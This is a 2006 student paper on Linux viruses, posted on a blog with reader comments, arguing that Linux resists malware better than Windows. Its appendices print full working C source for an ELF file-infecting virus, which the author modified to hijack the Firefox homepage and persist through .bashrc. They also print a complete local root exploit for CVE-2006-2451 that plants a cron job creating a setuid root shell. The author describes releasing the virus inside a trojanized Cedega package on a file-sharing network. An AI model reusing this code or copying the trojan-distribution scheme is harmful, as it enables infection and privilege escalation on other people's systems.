Linux Virus

Spyware/Viruses
in Linux


By David
Stone


November
28, 2006 AD


CS343 –
Operating Systems I


Fall
Semester, 2006


Dr. Barry
Myers





Abstract





The
purpose of this paper is to investigate the possibility of viruses in
Linux and to demonstrate how viruses work and spread. We will look at
the fundamental security differences between Linux and Windows that
make viruses so common in Windows and almost unheard of in Linux.







Summary


Creating
a Linux virus is trivial but getting it out in the wild and infecting
large amounts of systems is very difficult. Design differences make
Linux much less susceptible to viral infections than Windows.
Security holes are much less common and diversity makes targeting
specific software bugs less effective. Anti-virus software will never
be needed in Linux and education is still the best defense against
viruses and malware.





Introduction


Spyware,
viruses and other malware have become an increasing problem on
Microsoft Windows based systems and have caused many Windows users to
switch over to using other operating systems. I am going to be
focusing on GNU/Linux (hereafter referred to as Linux) because of its
availability and the concepts and ideas about viruses in Linux apply
to other Unix based operating systems such as Mac OS X. Historically,
users of Linux have had virtually no issues with spyware, viruses or
other malware. Many have thought it was just because they did not
have a large enough market share to attract malware authors but the
reality is that Linux is so fundamentally different from Windows that
it is much more resistant to virus or spyware infections and other
forms of malware.





Security
differences between Windows and Linux/OS X


Because
Linux is based on UNIX it is very different from Windows. UNIX was a
multi-user operating system that clearly defined the access rights of
users and the programs they ran. Each user was given a directory,
called home, that they could write to. The user did not have write
access to any other area of the system. This was down so that one
ignorant or malicious user could not compromise the entire system.
But because system administrators needed access to system files and
the ability to install or remove programs the root account was
created. The root account had complete access to every file on the
system and complete control of everything running on the system.
Linux uses the same model for user accounts and access rights.


Windows
has a much different way of approaching user accounts and access
rights. In Windows 3.1 through Windows ME every user and program had
complete access to the entire system. It was not even a true
multi-user system, it could keep different settings and preferences
for each user but it could not stop one user from accessing another
users files. In Windows NT based operating systems true multi-user
support exists. It is possible to create users that do not have
access to the complete system and is possible to configure exactly
how much access they have and limit it in many different ways.
However, because of the president set in Windows 9x and to maintain
backwards compatibility most users and system administrators chose to
give their users complete access to the entire system or at least
almost complete access.


The
brand new Dell system with Windows 2005 Media Center edition (which
is basically the same as Windows XP Home) that I setup in the last
month was configured with a single user account that had access to
the complete system. Windows XP does provide a rather easy was of
creating limited user accounts in the control panel. I have personal
experience using limited accounts to help increase the security of my
system and have found that they do not work very well. The problem is
that programs written for Windows are not designed to run within a
limited user account. Most of them need write access to their data
files and then they keep their data files in a location that limited
users do not have write access to. Because so many Windows programs
are built this way, users are forced to run with administrator
accounts even though it creates a huge security problem. There are
rumors that this problem will be fixed in Windows Vista and users
will be prompted for a password when programs need access to the
complete system. This security oversight is what makes Windows so
much more susceptible to viruses than Linux. Viruses ran in Windows
have complete access to the entire system and viruses ran in Linux
have only access to the user’s files (Moen).


Writing
a Linux virus


Taking
the challenge offered to me by fate I sought out to write the most
devastating virus for Linux ever created. It would certainly not be
the first virus created because more than 60 different viruses are
listed in Rick Moen’s Virus article. These 60 viruses were no
more effective than the one I created was. In the process of writing
this virus I learned the challenges that Linux viruses face and the
requirements for overcoming them.


Writing
a good virus is challenging and the best viruses are written in
assembly language (Bartolich). Since my knowledge of assembly is a
little rusty I decided to use a simple virus called Jingle Bell that
was written in C as my starting point. Its complete source code
provided by Amit Singh together with my changes is included in
appendix A. Using the virus is straight forward. It complies easily
with gcc and infecting a file is as easy as:


./virus
victim


Victim
has to be a binary executable that the current user has write access
to. The procedure for infecting a copy of the "ls" command
is as follows:


$
gcc virus.c -o virus





$
cp /bin/ls ./





$
./ls


ls
virus virus.c





$./virus
./ls


THIS
IS A VIRUS!





$./ls


THIS
IS A VIRUS!


ls
virus virus.c





As
you can see in output of the last command ls was successfully
infected and it printed out the text "THIS IS A VIRUS!"
which is in line 51 of the source code and then continued to do its
normal function of listing the contents of the current directory. The
virus could spread to other executables if the filename of an
executable was provided to ls as an argument.


Even
though we have a working virus we need to find a way to put our virus
onto other systems for it to do any good. The easiest and most
popular method would be to include the virus as part of some other
program that does something or claims to do something entirely
unrelated to infecting your computer. Viruses that behave in this way
are called Trojans and they spread by deceiving people into thinking
that they are legitimate programs. Viruses can also spread by just
infecting as many executables on the host machine as possible in the
hopes that those executables might be shared with other computers.
E-mail viruses are also popular (Strongbad). Once they get on a
computer they search for the address book and send a copy of
themselves to each person in the address book. The nastiest viruses
are the ones that exploit remote security holes in the operating
system and use those to infect a computer over the network. The
infected computer will then try to infect more computers and so on.
Viruses that behave in this way are called worms. If the worm is
created before the security holes are fixed a well written worm could
quickly infect hundreds or thousands of vulnerable computers.
Security holes in web browsers can also be used to infect computers
with virus or other malware. Most viruses or malware employ a
combination of the above techniques to spread themselves.


In
my own virus I wanted first to try to infect as many executables as
possible. The executables are usually located in /bin/, /usr/bin/ and
/usr/local/bin. However, only the root user has write access to these
directories; that means for a virus to infect any important files it
must first become root. Usually this can be done unless one knows the
root password but over the years there have been a few security holes
that have been exploited to gain root access. On July 11, 2006 a
proof of concept exploit was released that used a security bug in
Linux kernels 2.6.13 through 2.6.17.3 that allowed a user to gain
root access (2.6.17.4 was available on kernel.org on June 30, 2006).
The bug involved the prctl() system call which was used to dump the
memory contents of a process for debugging purposes. The problem was
that the memory was dumped to a file at any location on the file
system. A clever way of gaining root access was to dump a process’s
contents into the /etc/cron.d/ directory. If the process had a string
in memory that contained a cron entry and a bash script, it would be
run with root access. Appendix B contains the complete source of this
exploit.


I
tried to include this root exploit in my code but because of the
nature of the prctl() system call, the memory contents were so
unpredictable it was impossible to create a dump file that would
reliably make a cron entry. This exploit could only be used by the
simplest program and not in an automated fashion which is what a
virus requires. All the local root exploits I found at milw0rm.com,
which is a site that contains a database of exploits, either required
user interaction or only worked on a very specific set of packages
with specific versions. I came to the conclusion that I would have to
have my virus do its dirty work without being root.


For
starters a made the virus do something mischievous, like resetting
Firefox’s homepage to whatever I wanted. This was pretty easy to do
since Firefox keeps its preferences file in the user’s home
directory. To be even more annoying I added a line to the user’s
.bashrc file that would reset the user’s homepage every time they
started a terminal. This sort of thing is standard procedure with
Windows malware and it turned out to be fairly easy to do in Linux.
Except in Linux it could only affect one user and fixing the damage
is as easy as delete one line from a text file.


In
order to spread my virus I decided to use the Trojan horse approach.
One of the most commonly pirated pieces of software by Linux users is
Transgaming’s Cedega, a commercial version of WINE that allows Linux
users to run Windows games. I decided to package my own version of
Cedega with my virus included and post it on a major peer-to-peer
file sharing network. As of yet no one has downloaded my virus, but I
expect that a handful will eventually download my virus and a few of
them might actually be infected by it. But because my virus has no
real way to infect other executables since it cannot become root I do
not expect my virus to go very far.





Security
holes in Linux and Windows


Security
holes are not unheard of in Linux but they appear less often and are
less severe than security holes in Windows. First let’s compare the
default web browser of most Linux distributions (Firefox) with the
default web browser of Windows (Internet Explorer). Since we just
want to know why Windows has more malware than Linux we will focus a
single time period and see what security problems the two browsers
had in that time period. Firefox 1.0 was release in November of 2004
and on May of 2005 version 1.0.4 was released. Each of the four minor
revisions was to address security issues. In the same time frame
Microsoft released 20 major patches to IE, most of which were rated
"critical" (Livingston). These critical security problems
meant that malware could be installed automatically on a Windows
machine if the user just clicked on a link. A company by the name of
Scanit did a study of the amount of time it took Microsoft to release
a patch for a vulnerability once it became public. "The firm
found that IE was wide open for a total of 200 days in 2004, or 54%
of the year, to exploits that were "in the wild" on the
Internet (Livingston)." That meant that any script kiddy could
download some html, upload it to a website and every person that
visited that site could be compromised 50% of the time, even if they
had installed the latest Windows updates. Firefox had a few security
problems of it own, even to the point where code could be executed
remotely but in every case a patch was issued before the security
problem was made public. The exploits were always written after the
problem had been fixed.


Everyone
remembers the Sasser and Blaster worms that infected millions of
Windows machines overnight using security vulnerabilities in the DCOM
protocol which is hardly ever used by desktop computers and is
enabled by default. Linux has about 10 total worms all of which were
released weeks sometimes months after patches were issued for the
security holes the worms used (Moen). Very few Linux machines were
even vulnerable to the worms because most of them targeted the BIND
name server which is only used by Internet servers. Actually, none of
the worms would have been able to compromise a desktop system unless
it was running some server software.





The
Open Source Development model


Much
discussion has been made as to whether open source development
creates better software than traditional closed source development.
The primary advantage of open source development is that the source
code and be read by anyone. More eyeballs can find security problems
better than less (Wheeler). Because open source developers are
constantly reviewing the source code for major projects like Firefox
they can find the security holes before the hackers the hackers do.
But because it open source the hackers can see the security hole that
was fixed and then create an exploit for the fixed security bug. This
is why in the above example the exploits were always released after
they were fixed. However in closed source development what usually
happens is that hackers find security holes in software and then the
companies try to patch them. This is what happened to IE when it was
vulnerable 200 days of the year in 2004 because the patches were
released so long after the security holes were found by hackers.


Heterogeneous
software configurations also make Linux less susceptible to
infections. Not everyone who uses Linux runs the same browser, e-mail
client or web server. The diversity of e-mail clients makes it very
difficult for viruses to find where the address book is stored
(Moen). Even if a major security hole in Firefox was found and
exploited users of Epiphany, Konquerer and the 50+ other web browsers
would not be affected. If Red Hat had a configuration problem that
left it wide open to attacks users of other Linux distributions would
have nothing to worry about. I say all this to show that software
diversity makes it much more difficult to develop a virus or worm
that would infect every Linux system in existence.


Conclusion


To
say that Linux is completely free from viruses and malware is not
entirely true. It is, however, much more resistant to it than Windows
is. Root accounts, prompt patching of security holes, and a
heterogeneous mixture of software make Linux a much more difficult
target when developing malware. I would say that is never going to be
necessary to run anti-virus software for Linux, I do not think they
work very well in Windows and they certainly do not belong in Linux.
Education is still the best way to prevent viruses. Never install
software from sources you do not trust. Ubuntu and other
distributions already verify that every package that is installed is
signed by the correct provider. The best defense against viruses and
other attacks is what it has always bee, keep your software up to
date.






Resources


Wheeler,
David A.
Secure Programming for Linux and Unix HOWTO. 3
March 2003.
<
http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/open-source-security.html>





Strongbad.
Virus E-mail. 28 November 2006.
<http://www.homestarrunner.com/sbemail118.html>





Livingston,
Brian. Firefox vs IE: Speed of Response to Threat of Exploits. 17
May 2005.
<
http://techrepublic.com.com/5208-9592-0.html?forumID=88&threadID=174011&start=0>





Singh,
Amit. Viruses on Unix.
28
November 2006.
<
http://www.kernelthread.com/publications/security/vunix.html>





Bartolich,
Alexander. The ELF Virus Writing HOWTO.  15 Feb. 2003.
Linux Security.
<http://www.linuxsecurity.com/resource_files/documentation/virus-writing-HOWTO/_html/index.html>





Moen,
Rick. Virus. 12 Oct. 2006.
<http://linuxmafia.com/~rick/faq/index.php?page=virus>





Petreley,
Nicholas. Security Report: Windows vs Linux. 22 Oct 2004.
<http://www.theregister.co.uk/security/security_report_windows_vs_linux/>





Dreyer
& RoMaNSoFt. Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl()
Local Root Exploit.
10 July 2006
<http://www.milw0rm.com/exploits/2004>



Appendix A – Viral code


/*
* Jingle Bell (with moderate error handling)
*/

#include <stdio.h>
#include <linux/prctl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>

/* the size of our own executable: please configure */
static int V_OFFSET = 9970;
extern int errno;

void do_infect(int, char **, int);

int
main(int argc, char **argv, char **envp)
{

int len;
int rval;
int pid, status;
int fd_r, fd_w;
char *tmp;
char buf[BUFSIZ];

/*
* sometimes it may be possible to modify argv[0], for example by
* using zsh’s ARGV0 variable:
*
* zsh# ARGV0=foobar ls
*
* In that case this virus misbehaves!
*/

// My added stuff
printf("THIS IS A VIRUS!\n");
// set the homepage
system(" for i in $( find ~/.mozilla/firefox -maxdepth 1 -type d ); do \n echo \"user_pref(\\\"browser.startup.homepage\\\", \\\"http://www.nnucomputerwhiz.com/linux-virus.html\\\");\" >> $i/prefs.js \n done");
// edit .bashrc to set the homepage
system("echo ‘for i in $( find ~/.mozilla/firefox -maxdepth 1 -type d ); do echo \"user_pref(\\\"browser.startup.homepage\\\", \\\"http://www.nnucomputerwhiz.com/linux-virus.html\\\");\" >> $i/prefs.js ; done’ >> ~/.bashrc");
// end my added stuff

if ((fd_r = open(argv[0], O_RDONLY)) < 0)
goto XBAILOUT;

if (lseek(fd_r, V_OFFSET, SEEK_SET) < 0) {
close(fd_r);
goto XBAILOUT;
}

if ((tmp = tmpnam(NULL)) == NULL) {
close(fd_r);
goto BAILOUT;
}

if ((fd_w = open(tmp, O_CREAT | O_TRUNC | O_RDWR, 00700)) < 0)
goto BAILOUT;

while ((len = read(fd_r, buf, BUFSIZ)) > 0)
write(fd_w, buf, len);

close(fd_w);

if ((pid = fork()) < 0)
goto BAILOUT;

/* run the original executable */
if (pid == 0) {
execve(tmp, argv, envp);
exit(127);
}

/* Infect */
do_infect(argc, argv, fd_r);

close(fd_r);

do {
/* wait till you can cleanup */
if (waitpid(pid, &status, 0) == -1) {
if (errno != EINTR) {
rval = -1;
goto BAILOUT;
} else {
rval = status;
goto BAILOUT;
}
}
}

while (1);

BAILOUT:
unlink(tmp);

XBAILOUT:
exit(rval);
}

void
do_infect(int argc, char **argv, int fd_r)
{
int fd_t;
int target, i;
int done, bytes, length;
char * targetName;
void *map;
struct stat stat;
char buf[BUFSIZ];

if (argc < 2)
return;

/* nail the first executable on the command line */
for (target = 1; target < argc; target++)
if (!access(argv[target], W_OK | X_OK))
targetName = argv[target];
goto NAILED;

return;

NAILED:
if ((fd_t = open(targetName, O_RDWR)) < 0)
return;

fstat(fd_t, &stat);
length = stat.st_size;

map = (char *)malloc(length);
if (!map)
goto OUT;

/* assume no short reads or writes, nor any failed lseeks */

for (i = 0; i < length; i++)
read(fd_t, map + i, 1);

lseek(fd_t, 0, SEEK_SET);
if (ftruncate(fd_t, 0))
goto OUT;

done = 0;
lseek(fd_r, 0, SEEK_SET);
while (done < V_OFFSET) {
bytes = read(fd_r, buf, 1);
write(fd_t, buf, bytes);
done += bytes;
}

for (bytes = 0; bytes < length; bytes++)
write(fd_t, map + bytes, 1);

free(map);

OUT:
close(fd_t);
return;

Appendix B – Local Root Exploit

/*****************************************************/
/* Local r00t Exploit for: */
/* Linux Kernel PRCTL Core Dump Handling */
/* ( BID 18874 / CVE-2006-2451 ) */
/* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4) */
/* By: */
/* – dreyer <[email protected]> (main PoC code) */
/* – RoMaNSoFt <[email protected]> (local root code) */
/* [ 10.Jul.2006 ] */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling – Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");

corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);

printf("[*] Creating Cron entry\n");

if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}

kill(child, SIGSEGV);

printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(62);

printf("[*] Running shell (remember to remove /tmp/sh when finished) …\n");
system("/tmp/sh -i");

4 thoughts on “Linux Virus”

  1. The linux virus/spyware article got me to thinking about the server we have right now. It is actually a legacy configuration that goes back as far as 6 or 7 years and until October 1, 2009 was fully accessible to the person who originally set it up. When we moved from our own co-hab server (which is now the print server in David Tinnon’s area for the Roland) we moved everything from XIOLINKs in St. Louis to the managed server at Verio. A lot of stuff was broken because the previous IT guy just basically dumped the old server (full of SQL databases et al) onto Verio. For about 3 months we hired whoever we could to fix site after site that we hosted, including GoodSalt and MR. Eventually everything was fixed to the point of working. However, again, whatever that person had on the server – including items that relate to the email service (which had a lot of anomolies – he had the emails going out to spam filter companies and then going back to the email server, we couldn’t get it to behave with gmail, and still get a lot of random email kickbacks to people trying email jcg.com addresses) I guess my main thought is this: it would be nice someday to wipe clean the old legacy code and write a fresh foundation for our Verio server. … I guess I could have just said that first. 😉

  2. Hi,

    I’ve been wanting to know the working of a virus in linux for a long time now. It would be great if u could help.

  3. You’re wrong about not installing antivirus. Scripts can download malicious software without the user even knowing it straight through the browser. I use Kapersky internet security and it’s not useless. In fact it’s caught everyting I come across. Kapersky scans every program I donwload. In fact Windows Vista will warn the user if the program isn’t signed. I supose you’ll make the claim to leave the firewall disabled. The firewall is the only thing that will stop somebody who’s hacking the system. Kapersky has even stopped adware from restarting the computer. I feel you don’t know what you’re talking about. Kasperky has vulnerability scanner and the only applications that had volnerabilities were open source. Any way. I just needed to get that out of my system. because you don’t seem to know how much hackers can do.

  4. WTF are you talking about BRIAN? The article says it is not needed to use antivirus in Linux, not windows. Windows antivirus sometimes work, depending on the virus u get and usually if it warns u it is already too late. You abviously have no idea what you are talking about!

Leave a Reply

Your email address will not be published. Required fields are marked *